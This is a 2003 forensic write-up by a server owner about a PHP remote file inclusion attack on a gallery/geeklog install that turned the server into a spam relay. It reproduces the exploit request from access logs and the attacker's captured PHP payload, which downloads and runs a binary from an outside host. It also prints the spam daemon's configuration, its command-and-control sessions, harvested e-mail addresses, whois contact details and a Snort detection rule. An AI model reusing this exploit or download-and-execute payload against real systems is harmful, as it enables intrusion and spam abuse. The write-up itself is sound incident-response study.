

# The Rise of the Spammers

David Barroso Berrueta

September, 26th 2003

## 1. Rise of the spammers

Spammers are becoming more intelligent and more difficult to detect, which is a strange issue, just because in my opinion, an intelligent person is smart enough for not bothering millions of people. So, why these people keep on helping unethical companies and individuals that send out unsolicited e-mails? The reason should be simple and common these days: money.

But I'm not going to talk about the motives of this spam community to send millions of dumb e-mails telling how to get a good mortgage rate, increase my body length or make business with an African prince. This is the story of how one of my home servers was compromised and used as a massive spamming sender within an environment that I've never seen (but was likely to happen).

### 1.1. The compromise

One day I noticed that one of my remote servers was sending 24 hours a day a continuous 11Kbytes stream, using the 100% of the upload bandwidth (128Kbits). This specific server is running Apache and also it acts as a mail server, but, no other network application that could send during the entire day so many traffic, was installed. So, I immediately logged into my remote machine to know what was happening, thinking that my remote box was participating in any DDoS attack, but I was totally wrong. A process list (**ps -ef**) would open my eyes:

```
www-data 29990      1  0 Aug21 ?           00:00:04 /tmp/abchy6/httpd
-c /tmp/abchy6/httpd.conf
```

There were exactly 106 processes like the above one running in my machine. Only with looking at the process path all my alarms rang. And even more when I realized that the '/tmp/abchy6/' directory does not exist in the machine. The process user would be the key to know how this process was started, because only the Apache daemon runs as this user. Apache's access log confirmed that this was the the attacker's door:

```
www.mysite.com-access.log.1:216.93.171.130 - - [21/Aug/2003:18:45:02 +0200]
"GET http://www.mysite.com/gallery/classes/geeklog/User.php?GEEKLOG_DIR=
http://www.4goofs.com/sftb/ HTTP/1.0" 200 764 "-" "-"
www.mysite.com-access.log.1:216.93.171.130 - - [21/Aug/2003:18:50:13 +0200]
"GET http://www.mysite.com/gallery/classes/geeklog/User.php?GEEKLOG_DIR=
http://www.4goofs.com/sftb/ HTTP/1.0" 200 764 "-" "-"
```

This ip address belongs to ServePath, from San Francisco, US. The ARIN information is the following:

```
OrgName:    ServePath, LLC
OrgID:      SERVEP
Address:    650 Townsend Street
Address:    Suite 252
City:       San Francisco
StateProv:  CA
PostalCode: 94103
Country:    US

NetRange:   216.93.160.0 - 216.93.191.255
CIDR:       216.93.160.0/19
NetName:    SERVEPATH
NetHandle:  NET-216-93-160-0-1
Parent:     NET-216-0-0-0-0
NetType:    Direct Allocation
NameServer: NS.SERVEPATH.COM
NameServer: NS1.SERVEPATH.COM
Comment:
RegDate:    2002-11-15
Updated:    2003-04-10
```

```
NOCHandle: SN458-ARIN
NOCName:    NOC, ServePath, ServePath
NOCPhone:   +1-415-252-3600
NOCEmail:   noc@servepath.com
```

```
OrgTechHandle: SN458-ARIN
OrgTechName:  NOC, ServePath, ServePath
OrgTechPhone: +1-415-252-3600
OrgTechEmail: noc@servepath.com
```

```
# ARIN WHOIS database, last updated 2003-09-05 19:15
# Enter ? for additional hints on searching ARIN's WHOIS database.
```

Let's check with p0f (<http://lcamtuf.coredump.cx/p0f/>) last version which Operating System is running in that ip address. p0f is a passive OS fingerprinting tool, which tries to guess an Operating System depending on several fixed features, like TTL, TCP Window size, ...

```
p0f - passive os fingerprinting utility, version 2.0-beta
(C) M. Zalewski <lcamtuf@coredump.cx>, W. Stearns <wstearns@pobox.com>
p0f: listening on '/home/tomac/ih/snap216.93.171.30.pcap', 110 fingerprints, rule: 'any'.
216.93.171.130:1358 - FreeBSD 4.6-4.8 (up: 908 hrs)
  -> x.x.x.x:80 (distance 22, link: ethernet/modem)
216.93.171.130:1549 - FreeBSD 4.6-4.8 (up: 908 hrs)
  -> x.x.x.x:80 (distance 22, link: ethernet/modem)
216.93.171.130:2227 - FreeBSD 4.6-4.8 (up: 909 hrs)
  -> x.x.x.x:80 (distance 22, link: ethernet/modem)
```

So, the source host where the attack is launched seems to be a FreeBSD 4.6-4.8 server which uptime is 908 hours

Hmm.. gallery (<http://gallery.menalto.com>) is a php software for having multiple photo albums with some nice features, and geeklog (<http://www.geeklog.net>) is another php software for maintaining a public weblog for a community. I had installed and configured both, and integrated gallery into geeklog by following the procedure described in one geeklog site, so it was not a 'default' installation. Time for checking the suspicious 'GEEKLOG\_DIR' variable in the `User.php` file:

```
require_once($GEEKLOG_DIR . '/lib-common.php');
```

So there it is. The php script doesn't properly set the variable and it can be set from the HTTP GET. In addition, the 'require\_once' sentence includes and evaluates the specified file during the execution of the script. Being as curious as I am, I tried to download the file '<http://www.4goofs.com/sftb/lib-common.php>', but the file didn't exist in the webserver, I got a '301 Moved Permanently' and then a '302 Found', but it was a `not_found.html` default error page, which appeared to be very strange.

But I still didn't know anything about the mysterious outbound stream of bytes. Running `tcpdump` in the remote host, I realized that I was sending hundreds of e-mails per minute. And all of them were spam. I had hundreds of different TCP connections to lots of different mail servers port 25 (smtp), sending e-mail messages with `<offers@bestespecials.biz>` as the real sender, and `<offers@kellysoffers.com>` as the spoofed sender. I immediately checked my mail server's log, looking for any clue, and even checked that my mail server was not an open relay, just to be sure. But I found nothing, my logs were normal; so, those strange processes could be related to the spam mass-sending.

What were these processes exactly doing? One answer could be found in `/proc` directory. There is an entry in this directory for each running process, describing interesting issues about processes, like which file descriptors they have opened, the environment variables, the directory where they were started, how they were run, a symbolic link to the process image running in memory, ... And this is what I found:

```
cwd -> /var/www/geeklog/public_html/gallery/classes/geeklog
exe -> /tmp/upxCEIBRRYA2VC (deleted)
cmdline: /tmp/abchy6/httpd -c /tmp/abchy6/httpd.conf
```

The reason for the strange name `upxCEIBRRYA2VC` is because the binary has been compressed using UPX (<http://upx.sourceforge.net>), which is an excellent tool for compressing executable binaries. When executing, it automatically uncompresses itself into a temporary file in order to execute properly. I even checked with the excellent tool `lsprof` every device, file descriptor or socket opened by the process:

COMMAND	PID	USER	FD	TYPE	DEVICE	SIZE	NODE	NAME
	4	5304	www-data	cwd	DIR	3,1	4096	223753 /var/www/geeklog/ public_html/gallery/classes/geeklog
	4	5304	www-data	rtd	DIR	3,1	4096	2 /
	4	5304	www-data	txt	REG	3,1	1846603	128114 /tmp/upxCEIBRRYA2VC (deleted)
	4	5304	www-data	mem	REG	3,1	90210	191311 /lib/ld-2.2.5.so
	4	5304	www-data	mem	REG	3,1	102172	193769 /lib/libpthread-0.9.so
	4	5304	www-data	mem	REG	3,1	1153784	193753 /lib/libc-2.2.5.so
	4	5304	www-data	0w	CHR	1,3		191284 /dev/null
	4	5304	www-data	1w	CHR	1,3		191284 /dev/null
	4	5304	www-data	2w	CHR	1,3		191284 /dev/null
	4	5304	www-data	3u	sock	0,0		8394579 can't identify protocol
	4	5304	www-data	4r	FIFO	0,5		8394882 pipe
	4	5304	www-data	5u	REG	3,1	0	127548 /tmp/session_mm_apache0.sem (deleted)
	4	5304	www-data	6u	REG	3,1	0	128220 /tmp/session_mm_apache0.sem (deleted)

```
4      5304 www-data    7w   CHR     1,3      191284 /dev/null
4      5304 www-data    8w   FIFO    0,5      8394882 pipe
4      5304 www-data    9w   CHR     1,3      191284 /dev/null
4      5304 www-data   10r   FIFO    0,5      8394883 pipe
4      5304 www-data   11w   FIFO    0,5      8394883 pipe
4      5304 www-data   12u   IPv4 13016572      TCP mysite.com:52153
->mx2.bm.vip.sc5.yahoo.com:smtp (ESTABLISHED)
4      5304 www-data   13u   IPv4 13016573      TCP mysite.com:55530
->mail.mysam.it:smtp (ESTABLISHED)
4      5304 www-data   14u   IPv4 13016574      TCP mysite.com:51286
->wf4.dnsvr.com:smtp (ESTABLISHED)
4      5304 www-data   15w   REG     3,1     6948    256374 /var/log/apache/
error.log.1
4      5304 www-data   20u   IPv4    1008      TCP *:www (LISTEN)

(...) (96 other smtp connections)
```

Ouch, not only it sends lots of spam, it even integrates itself somehow to the Apache daemon, and uses threads for sending mail in parallel. Then I tried to attach another tool called `ptrace` to the process, which would allow me to know something more about the process (system calls, file descriptors, ...) in real time, but the process died when I attached `ptrace` to it.

Well, I still had lots of things to investigate on. I tried to recover the deleted file `/tmp/abchy6/httpd.conf`, looking for more details about the process, but it couldn't be recovered using `TASK` (<http://www.sleuthkit.org>), which is a forensics tool. Searching with `TASK` in the hard disk for some specific strings, I found a non-allocated block with the following content:

```
cat: /tmp/sess_d68fb641e4e2ddb73c461a25e2039d2e: No such file or directory
kill: usage: kill [-s sigspec | -n signum | -sigspec] [pid | job]... or kill -l [sigspec]
sh: fetch: command not found
--18:45:58-- http://4goofs.com/ad13/archive.tgz
=> '/tmp/abchy6/archive.tgz'
Resolving 4goofs.com... done.
Connecting to 4goofs.com[216.93.174.4]:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: http://www.4goofs.com/ad13/archive.tgz [following]
--18:45:58-- http://www.4goofs.com/ad13/archive.tgz
=> '/tmp/abchy6/archive.tgz'
Resolving www.4goofs.com... done.
Connecting to www.4goofs.com[216.93.174.4]:80... connected.
HTTP request sent, awaiting response... 302 Found
Location: http://www.4goofs.com/error_docs/not_found.html [following]
--18:45:59-- http://www.4goofs.com/error_docs/not_found.html
=> '/tmp/abchy6/not_found.html'
Connecting to www.4goofs.com[216.93.174.4]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 199 [text/html]

0K                                                                 100% 194.34 KB/s

18:45:59 (194.34 KB/s) - '/tmp/abchy6/not_found.html' saved [199/199]

tar (child): /tmp/abchy6/archive.tgz: Cannot open: No such file or directory
tar (child): Error is not recoverable: exiting now
tar: Child returned status 2
tar: Error exit delayed from previous errors
```

```
gzip: stdin: unexpected end of file
tar: Child returned status 1
tar: Error exit delayed from previous errors

gzip: stdin: not in gzip format
tar: Child returned status 1
tar: Error exit delayed from previous errors
chmod: getting attributes of `/tmp/abchy6/httpd': No such file or directory
ldd: /tmp/abchy6/httpd: No such file or directory
sh: /tmp/abchy6/httpd: No such file or directory
cat: /tmp/sess_d68fb641e4e2ddb73c461a25e2039d2e: No such file or directory
kill: usage: kill [-s sigspec | -n signum | -sigspec] [pid | job]... or kill -l [sigspec]
sh: fetch: command not found
--18:50:31-- http://4goofs.com/ad13/archive.tgz
=> `/tmp/abchy6/archive.tgz'
Resolving 4goofs.com... done.
Connecting to 4goofs.com[216.93.174.4]:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: http://www.4goofs.com/ad13/archive.tgz [following]
--18:50:32-- http://www.4goofs.com/ad13/archive.tgz
=> `/tmp/abchy6/archive.tgz'
Resolving www.4goofs.com... done.
Connecting to www.4goofs.com[216.93.174.4]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 62,958 [application/x-tar]

    OK ..... 81%    26.61 KB/s
   50K ..... 100%   27.27 KB/s

18:50:35 (26.73 KB/s) - `/tmp/abchy6/archive.tgz' saved [62958/62958]
```

```
gzip: stdin: unexpected end of file
tar: Child returned status 1
tar: Error exit delayed from previous errors
```

The attacker seems to run twice the same script (supposedly to be include in the `lib-common.php` file). The script tries to read a file, kill some process, download some tools, uncompress them, check that they can be executed, and execute them. The first time that the attacker runs the script, it seems that the tools are not available in the server; five minutes later, she tries again, and then she can download them and can run the script successfully (this is the reason for having two access in Apache logs). It is highly probable that the attacker only 'activates' the right HTTP uri ( using the redirection 301) when she needs to, avoiding other people (like me) to download them. This could be also the explanation for not being able to download the `lib-common.php` described above.

The ip address where the file `lib-common.php` is stored is 216.93.174.4, which belongs to the same company as above, called ServePath, in San Francisco. ARIN information is the same, just because both ip addresses are in the same range that this company owns: 216.93.160.0 - 216.93.191.255. I'm starting to believe that this company has something to do with all this.

Still being too curious about what the `lib-common.php` file contains, I didn't fix the gallery bug and started some `tcpdump` to save the attacker's connections, waiting for her to come back. As I was also running Snort in

the same box, I added a new signature to the Snort ruleset for warning me when the attacker tried to exploit the vulnerability:

```
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS
(msg:"GEEKLOG_DIR set attempt"; flow:to_server,established;
uricontent:"GEEKLOG_DIR"; classtype:misc-attack; sid:1000020;)
```

This snort alert is looking for the string 'GEEKLOG\_DIR' in a established connection (TCP handshake already made) from any source, to one of my servers' HTTP port (80/tcp). Next step was to be automatically warned when this alert were triggered. I usually receive a daily Snort alerts e-mail using `snort-stat`, but in this case, I wanted to know when the alert was triggered immediately. For this purpose, I installed `swatch`, which allow me to monitor the Snort alerts file, and execute a command when a certain pattern is matched in this file (e.g: GEEKLOG\_DIR set attempt) . I set up `swatch` to send me an email.

The wait was not too long. Next day, I received an e-mail from my remote host, saying that the alert had been triggered. Checking the `tcpdump` file that had been saving everything, I could at last see what the strange `lib-common.php` contains:

```
GET /sftb//lib-common.php HTTP/1.0
Host: www.4goofs.com
User-Agent: PHP/4.1.2
```

```
HTTP/1.0 200 OK
Date: Fri, 22 Aug 2003 05:58:57 GMT
Server: Apache/1.3.27 (Unix) mod_jk/1.2.3-dev FrontPage/5.0.2.2623
PHP/4.3.1 mod_perl/1.2.7 mod_ssl/2.8.14 OpenSSL/0.9.7a
X-Powered-By: PHP/4.3.1
Content-Type: text/html
Age: 0
```

```
<?echo "<pre>";
```

```
echo $HTTP_HOST.$REQUEST_URI;
```

```
passthru("kill -9 `cat /tmp/sess_d68fb641e4e2ddb73c461a25e2039d2e`");
passthru("rm -rf /tmp/abchy6");
passthru("mkdir /tmp/abchy6");
passthru("fetch -o- http://4goofs.com/ad13/archive.tgz > /tmp/abchy6/archive1.tgz");
passthru("lynx -dump -source http://4goofs.com/ad13/archive.tgz > /tmp/abchy6/archive2.tgz");
passthru("wget http://4goofs.com/ad13/archive.tgz -P /tmp/abchy6");
passthru("ls -la /tmp/abchy6");
passthru("tar -zxvf /tmp/abchy6/archive.tgz -C /tmp/abchy6");
passthru("tar -zxvf /tmp/abchy6/archive1.tgz -C /tmp/abchy6");
passthru("tar -zxvf /tmp/abchy6/archive2.tgz -C /tmp/abchy6");
passthru("rm -rf /tmp/abchy6/archive*");
passthru("chmod 700 /tmp/abchy6/httpd");
passthru("uname -a");
passthru("ldd /tmp/abchy6/httpd");
passthru("/tmp/abchy6/httpd -c /tmp/abchy6/httpd.conf");

passthru("rm -rf /tmp/abchy6");
passthru("rm -rf /tmp/af56j");
?>
```

So, the script simply kills itself if it is already running (it stores its pid in the file `/tmp/sess_d68fb641e4e2ddb73c461a25e2039d2e`, as it will be shown later), and tries to download with three different tools the file `archive.tgz`, uncompresses them, determines which dynamic libraries they depend, and then it executes the file extracted from the archive, deleting the directory and by this way, all traces. I have no idea why it also deletes the `/tmp/af56j` directory, perhaps it's something remaining from an old script.

Using `ethereal` (<http://www.ethereal.com>) for following the complete TCP stream and getting the `archive.tgz` file, I notice that it only contains two files, the daemon and its configuration file:

```
tomac@prodigy:~/ih/tmp$ tar tvzf archive.tgz
-rw-r--r-- root/wheel      211 2003-07-31 14:54:27 httpd.conf
-rwxr-xr-x sftb/sftb      64289 2003-07-31 10:33:25 httpd
```

One of the file owners and group is `sftb`, which is the same as the directory where the `lib-common.php` is held. So, this is the name of the user that performs the attack (perhaps her initials), and it seems that this tools is relatively new (31/07/2003). Following is the `httpd.conf` (the configuration file) contains:

```
logfile          /dev/null
loglevel         wedm
speedlog         /dev/null
halfdaemon
destroy
mask
sendmail
host             195.27.223.45
port            25
number          100
htimeout        15
pidlog          /tmp/sess_d68fb641e4e2ddb73c461a25e2039d2e
out             /dev/null
```

The explanation is the following: it will send all the log information to `/dev/null`, the binary will be removed when it is executed (`destroy`), it will mask its name (`mask`), it will send mail (`sendmail`), it will spawn 100 threads (`number`), timeout for connecting to mail servers will be 15 (`htimeout`), process' pid will be stored in `/tmp/sess_d68fb641e4e2ddb73c461a25e2039d2e`, and it will connect to host `195.27.223.45` port `25`, although I'm not sure of this host purpose.

**Note:** The reason for not masking its name is that in my host I was using the `grsec` extensions (<http://grsec.linux-kernel.at/>), not allowing the process to change its `/proc/pid/cmdline`. In other case, a `ps` will show lots of simple and fake `httpd` processes, trying to appear to be normal Apache daemons. I realized this when I analyzed the binary.

This ip address belongs a company called Media Arts, in Germany. So, what have these two companies in common? The first one in United States, and the second one in Germany. It seems that the attacker owns several hosts. Following is the RIPE information about this ip address:

```
% This is the RIPE Whois server.
% The objects are in RPSL format.
%
% Rights restricted by copyright.
% See http://www.ripe.net/ripenncc/pub-services/db/copyright.html

inetnum:        195.27.223.0 - 195.27.223.255
netname:        CW-DE-MEDIAARTS-NET
descr:          Media Arts
descr:          Im Weilerlen 14
```

```
descr:          74321 Beitingheim-Bissingen
country:        DE
admin-c:        AE317-RIPE
tech-c:         AE317-RIPE
status:         ASSIGNED PA
mnt-by:         CW-EUROPE-GSOC
changed:        grit@ecrc.de 20000920
changed:        smorhoff@ecrc.de 20020402
source:         RIPE

route:          195.27.0.0/16
descr:          DE-ECRC-195-27-0-0
origin:         AS1273
mnt-by:         CW-EUROPE-GSOC
changed:        wbe@ecrc.de 19990415
changed:        sticht@ecrc.de 19991205
changed:        theimes@de.cw.net 20010803
source:         RIPE

person:         Achim Enz
address:        Im Weilerlen 14
address:        D-74321 Bietigheim-Bissingen
address:        Germany
phone:          +49 7142 989090
fax-no:         +49 7142 52723
e-mail:         A_Enz@media-arts-online.de
nic-hdl:        AE317-RIPE
remarks:        administrator contact
mnt-by:         BO-DOMREG
changed:        kschnier@bonline.net 19971001
source:         RIPE
```

## 1.2. Spam internals

This daemon seems to connect to a specific host (in this case 195.27.223.45) to establish a special connection; another tcpdump would allow me to know what was going on with this strange host:

```
220 localhost ESMTTP
lasterror server::connect: Connection to HOST 217.29.90.249:25 OK
iam daemon[1061628935]
250 Hello
body
ID: 1
Received: from sprint.ausics.net (sprint.ausics.net [203.220.55.147])
    by localhost (8.11.9/8.11.9) with ESMTTP id _ID_
    for <_TO_>; _DATE_
Message-ID: <_ID2_@salesjet.biz>
From: "Marc Bishop" <offer23@salesjet.biz>
To: _TO_
Subject: Animate your logo with Flash
Date: _DATE_
```

Hello,

Do you like your business' logo? Then have you ever thought of animating it for your web site, li

You don't have a logo yet? Not a problem! We have selected some of the most professional design s

We look forward to hearing from you soon.

Best wishes!

Marc Bishop

<http://www.salesjet.biz/?rdr=4011>

---

This message is delivered by salesjet.biz  
To remove your address from further mailings go to  
[http://www.salesjet.biz/out.php?email=\\_TO\\_](http://www.salesjet.biz/out.php?email=_TO_)

---

250 Body OK

maillist

\*20622715 sales@patadamsco.com 64.202.166.11 64.202.166.12  
\*20623068 sales@patagonianfjords.com 216.136.130.235  
\*20623780 sales@pataphysique.com 80.67.173.4 62.80.122.198  
\*20623170 sales@patagonias.com 66.216.92.14  
\*20622958 sales@patagoniaflowers.com 209.92.33.155  
\*20623277 sales@patagonline.com 66.33.213.133 66.33.213.200  
\*20622986 sales@patagoniaholidays.com 206.244.69.3 206.244.69.195  
\*20623258 sales@patagoniacadventure.com 64.202.166.11 64.202.166.12  
\*20622919 sales@patagoniaeasy.com 64.225.154.175  
\*20622954 sales@patagoniaflyfishing.com 208.186.137.130  
\*20622888 sales@patagoniacatalog.com 209.126.198.20  
\*20622910 sales@patagoniadesign.com 65.194.194.207  
\*20622922 sales@patagoniaexquisiteces.com 209.67.50.203  
\*20623477 sales@patanadek.com 202.59.252.106  
\*20623212 sales@patagoniatrips.com 64.225.154.175  
\*20622932 sales@patagoniaexpeditions.com 66.40.227.228  
\*20622840 sales@patagoniaaventura.com 200.61.185.197  
\*20623191 sales@patagoniatechnology.com 64.83.108.222  
\*20622944 sales@patagoniafilms.com 206.245.164.55  
\*20622949 sales@patagoniafantasy.com 207.150.192.13  
\*20622971 sales@patagoniagolf.com 200.80.42.110  
\*20622994 sales@patagoniainteractiva.com 69.0.236.74  
\*20622975 sales@patagoniagifts.com 66.113.136.243  
\*20622828 sales@patagonia-tourism.com 64.85.73.31  
\*20622921 sales@patagoniaextra.com 209.67.50.203  
\*20622911 sales@patagoniadeloslagos.com 209.67.50.203  
\*20623304 sales@pataid.com 4.23.76.76

(...) (5630 more similar lines)

250 Emails OK

quit

221 OK, Goodbye

When I saw this, I got astonished. That host is running a special crafted mail daemon that also accepts some other 'new' commands which purpose is spam related. The client firstly identifies itself (iam daemon[1061621865]), where the big number perhaps is my host identification. At first glance, I thought it was my ip address in integer format, but it decodes to 63.71.16.105 and that is not my ip address, so it could be an identification number. Since in my tcpdump file I've saved some sessions, I could realize that it is a number represents the number of seconds since 00:00:00 1970 01 01 UTC, that is how Linux represents the date. The daemon looks for new e-mail addresses each 140 seconds, as you can see in the following ngrep output ( ngrep is similar to grep but for looking for patterns in the network or pcap files, instead of in text files):

```
#####
T 2003/08/22 20:22:34.832048 x.x.x.x:58250 -> 217.29.90.249:25 [AP]
  asteror server::connect: Connection to HOST 217.29.90.249:25 OK ..iam daem
  on[1061576554]..
#####
T 2003/08/22 20:24:54.292121 x.x.x.x:45883 -> 217.29.90.249:25 [AP]
  asteror server::connect: Connection to HOST 217.29.90.249:25 OK ..iam daem
  on[1061576693]..
#####
T 2003/08/22 20:27:14.380807 x.x.x.x:60875 -> 217.29.90.249:25 [AP]
  asteror server::connect: Connection to HOST 217.29.90.249:25 OK ..iam daem
  on[1061576833]..
#####
T 2003/08/22 20:29:24.350974 x.x.x.x:56217 -> 217.29.90.249:25 [AP]
  asteror server::connect: Connection to HOST 217.29.90.249:25 OK ..iam daem
  on[1061576963]..
#####exit
```

Next, with the *body* command, the client gets the ID for the message, the crafted headers, and the message body. Notice that in the crafted headers, there are some variables, represented by *\_string\_*, that will be filled out when sending the spam. They are: ID, ID2 (the message ID), TO (recipient) and DATE (date). Then, with the *maillist* command, the client gets lots (this time 5457) of e-mail addresses (which will be the *\_TO\_* variable), sorted alphabetically, and identified by a number, and the MX servers for those e-mail addresses domain name, by which will receive an e-mail. Take into account that the master host running the crafted mail server is another ip address than the specified in the configuration file. This ip address reverse lookup, surprisingly, is gw.sftb.net. Again the sftb string... interesting. Let's check the RIPE database for this ip address:

```
% This is the RIPE Whois server.
% The objects are in RPSL format.
%
% Rights restricted by copyright.
% See http://www.ripe.net/ripenc/pub-services/db/copyright.html

inetnum:      217.29.90.192 - 217.29.90.255
netname:      citynet-complex-pro
descr:        Complex-Pro is a computer trading.
descr:        Tomsk, West Siberia, Russia
country:      RU
admin-c:      AP1623-RIPE
admin-c:      DAF-RIPE
tech-c:       AP1623-RIPE
tech-c:       DAF-RIPE
status:       ASSIGNED PA
notify:       radio@cp.ru
mnt-by:       STACKLTD-MNT
changed:      noc@tomsk.net 20030701
```

```
source: RIPE

route: 217.29.80.0/20
descr: RU-STACKLTD-20030519
origin: AS29047
mnt-by: STACKLTD-MNT
changed: noc@tomsk.net 20030528
source: RIPE

person: Alexey Pecheritsyn
address: Siberian Physical Technical Institute
address: Novosobornaya. 1, 634050
address: Tomsk, Russia
phone: +7 3822 533034
fax-no: +7 3822 533034
nic-hdl: AP1623-RIPE
e-mail: pecher@spti.tsu.ru
changed: pecher@spti.tsu.ru 20020527
source: RIPE

person: Denis A. Fedorov
address: Gagarina str., 56, Room 901
address: Tomsk, Russia 634050
phone: +7 3822 528260
fax-no: +7 3822 528260
e-mail: daf@cp.ru
e-mail: dubanoze@ms.tusur.ru
nic-hdl: DAF-RIPE
changed: daf@cp.ru 20030127
source: RIPE
```

Ouch, now we are in Russia, in the Siberian Physical Technical Institute. This incident is becoming more complex; but there is something more; resolving *gw.sftb.net*, I get the ip address 81.1.233.1, which is rather strange, since usually the reverse lookup of an ip address resolves to a domain name that in turn, the direct lookup resolves to the same ip address. Following is the ARIN information for this new ip address:

```
% This is the RIPE Whois server.
% The objects are in RPSL format.
%
% Rights restricted by copyright.
% See http://www.ripe.net/ripenc/p-services/db/copyright.html

inetnum: 81.1.232.0 - 81.1.233.255
netname: ComplexPro
descr: Complex-Pro is a computer trading.
descr: Gagarina, 56, 634050
descr: Tomsk, Russia
country: RU
admin-c: AP1623-RIPE
admin-c: DAF-RIPE
tech-c: AP1623-RIPE
tech-c: DAF-RIPE
status: assigned PA
notify: daf@cp.ru
notify: radio@cp.ru
mnt-by: ZSTTK-MNT
```

```
changed:      ip-dbm@ripn.net 20030411
source:       RIPE

route:        81.1.192.0/18
descr:        RU-ZSTTK-20020228
origin:        AS21127
mnt-by:       ZSTTK-MNT
changed:      k.zharkov@zsttk.ru 20020228
source:       RIPE

person:       Alexey Pecheritsyn
address:      Siberian Physical Technical Institute
address:      Novosobornaya. 1, 634050
address:      Tomsk, Russia
phone:        +7 3822 533034
fax-no:       +7 3822 533034
nic-hdl:      AP1623-RIPE
e-mail:       pecher@spti.tsu.ru
changed:      pecher@spti.tsu.ru 20020527
source:       RIPE

person:       Denis A. Fedorov
address:      Gagarina str., 56, Room 901
address:      Tomsk, Russia 634050
phone:        +7 3822 528260
fax-no:       +7 3822 528260
e-mail:       daf@cp.ru
e-mail:       dubanoze@ms.tusur.ru
nic-hdl:      DAF-RIPE
changed:      daf@cp.ru 20030127
source:       RIPE
```

By now, I have three different companies in three different countries : US, Germany and Russia. And somehow, sftb is strongly related to the last one, since there are DNS records that resolve to the Siberian ip addresses, so perhaps the attacker is from Russia and she compromised some San Francisco and German boxes to set up her 'work environment'. But looking at further details, I realized that it is not so easy. Let's check the whois records for the domain name sftb.net:

```
Registrant:
  SFTB Technologies
  Rua do Norte, 82
  Lissabon, na P1200
  PT
  351 21 883716
```

Domain Name: SFTB.NET

```
Administrative Contact:
  da Costa, Bruna noc@sftb.net
  Rua do Norte, 82
  Lissabon, na P1200
  PT
  351 21 883716
```

Technical Contact:  
da Costa, Bruna noc@sftb.net  
Rua do Norte, 82  
Lissabon, na P1200  
PT  
351 21 883716

Record last updated 03-06-2003 04:39:32 AM  
Record expires on 02-06-2004  
Record created on 02-06-2003

Domain servers in listed order:  
NS1.SFTB.NET 216.67.235.137  
NS2.SFTB.NET 69.22.169.69

The domain name belongs to a Portuguese company, called SFTB Technologies, from Lisbon. Searching in Google for this company I get 0 results. It is very strange that a company related to technology doesn't appear in Google. I think it could be a fake company for hiding its spam objectives, although it is only a hypothesis.

Let's keep on analyzing the communication with the master server, because the daemon has another nifty feature: it sends reports to the master server.

```
220 localhost ESMTTP
lasterror server::connect: Connection to HOST 217.29.90.249:25 OK
iam daemon[1061629845]
250 Hello
report
354 Give me your report
25707340 2 1
25707219 11 1
25707123 6 1
25707320 2 1
25707264 0 1
25707268 0 1
25707296 11 1
25707314 8 1
25707167 0 1
25706341 0 1
25706229 9 1
25707213 10 1
25707201 6 1
25707069 6 1
25707295 11 1
25707231 0 1
(..) (983 similar lines)
.
250 Report OK
quit
221 OK, Goodbye
```

After the identification, the client sends the *report* command, and sends a list of exactly 1000 items, each item composed by the e-mail identification number (as shown above), and two other arguments, the first one is an error code that determines if the e-mail has been sent (for instance, 6 means 'Timeout connecting to host', 11

that the e-mail has been sent, 9 means 'Timeout reading from socket', ...) and it will be clearly shown in the next paragraphs, and the third one that I haven't identified yet, but it could be a flag to know if the e-mail address has been treated. It seems that it is the report for telling which e-mail address is valid. Just to be sure, I executed the daemon with its configuration file slightly modified, changing the /dev/null to real files to watch its logs. As seen in the daemon's configuration file, there are three different logs: logfile, speedlog and out. The last one (out) is always empty, but the other two contain interesting things: As seen in the daemon's configuration file, there are three different logs: logfile, speedlog and out. The last one (out) is always empty, but the other two contain interesting things; following is the speedlog file:

```
Threads report on 17:22:08:
Max.Time:      100 sec
Reading block: NO
Sending block: NO
Struct[0] done
Struct[1] done
Report[0] not done
Report[1] not done
Doing: Starting Testers 1
Reporter Doing: Waiting for new report
UpTime:       00:03:22
Reports(w/s): 1224(1224)/1224
Speed:        6.06 rps
Blocks done:  0
Done in block: 23.48%
Good(reports): 15.44%
Testers status: 100 of 100 working
Testers status: 0 of 100 dead
Testers status: 0 of 100 free
Testers status: 0 of 100 healed
Testers status: 0 of 100 is bad
Testers status: 0 of 100 unknown
Testers status: 68 starts 68 ends 68 reports sent
Intellectual sleep: 16 usec
```

This file represents the complete and detailed statistics for all the threads. Take care that in this context, report means e-mail sent, not the report seen before. Let's check the logfile to see its contents (actually only a brief snapshot):

```
25.08.03 17:18:46 M Half-Daemon with pid 27182 insted of 280
25.08.03 17:18:46 D Mask!
25.08.03 17:18:46 D Trying to find new mask
25.08.03 17:18:46 D Mask: found ./httpd -c httpd.conf
25.08.03 17:18:47 D We found 0 ./httpd -c httpd.conf
25.08.03 17:18:47 M name: ./httpd -c httpd.conf
25.08.03 17:18:47 M Setting priority 20
25.08.03 17:18:47 D Mask DONE!
25.08.03 17:18:47 D Connecting to HOST 217.29.90.249:25
25.08.03 17:18:47 D Mask!
25.08.03 17:18:47 D Mask DONE!
25.08.03 17:18:47 M Sender starts
25.08.03 17:18:47 M Initializing testers
25.08.03 17:18:47 D Mask!
25.08.03 17:18:47 D Mask DONE!
25.08.03 17:18:47 M Reader starts
25.08.03 17:18:47 D t_socket::t_socket: socket sreated in 0 sec
25.08.03 17:18:59 M server::connect: Connection to HOST 217.29.90.249:25 OK
```

```
25.08.03 17:18:59 D server::getbody: getting body
25.08.03 17:18:59 D server::getbody: command 'body' sent successfully
25.08.03 17:19:04 D server::getbody: starting getfromsock(body,max)
25.08.03 17:19:04 D server:getfromsock: start
25.08.03 17:19:04 D server::getfromsock: getting info from socket
25.08.03 17:19:04 D server::getfromsock: getting info from socket
25.08.03 17:19:04 D server::getfromsock: We got end string '250 Body OK
' from sock 9
25.08.03 17:19:04 D We got body: 'ID: 5
Received: from mail.com ([192.123.46.212])
    by localhost (8.11.9/8.11.9) with ESMTTP id _ID_
    for <_TO_>; _DATE_
Message-ID: <_ID2_@alexoffers.com>
From: "AstaDesign" <offers22@alexoffers.com>
To: _TO_
Subject: Premium marketing materials design
Date: _DATE_
```

Good morning,

Do you need an ad that will attract magazine readers to visit your place? A direct mail that won't

We at Asta Design ( <http://www.alexoffers.com/?rdr=9861> ), can help you to achieve your marketing

Have a good day,

Martin Berman

Art Director, Asta Design

<http://www.alexoffers.com/?rdr=9861>

---

This message is delivered by alexoffers.com  
To remove your address from further mailings go to  
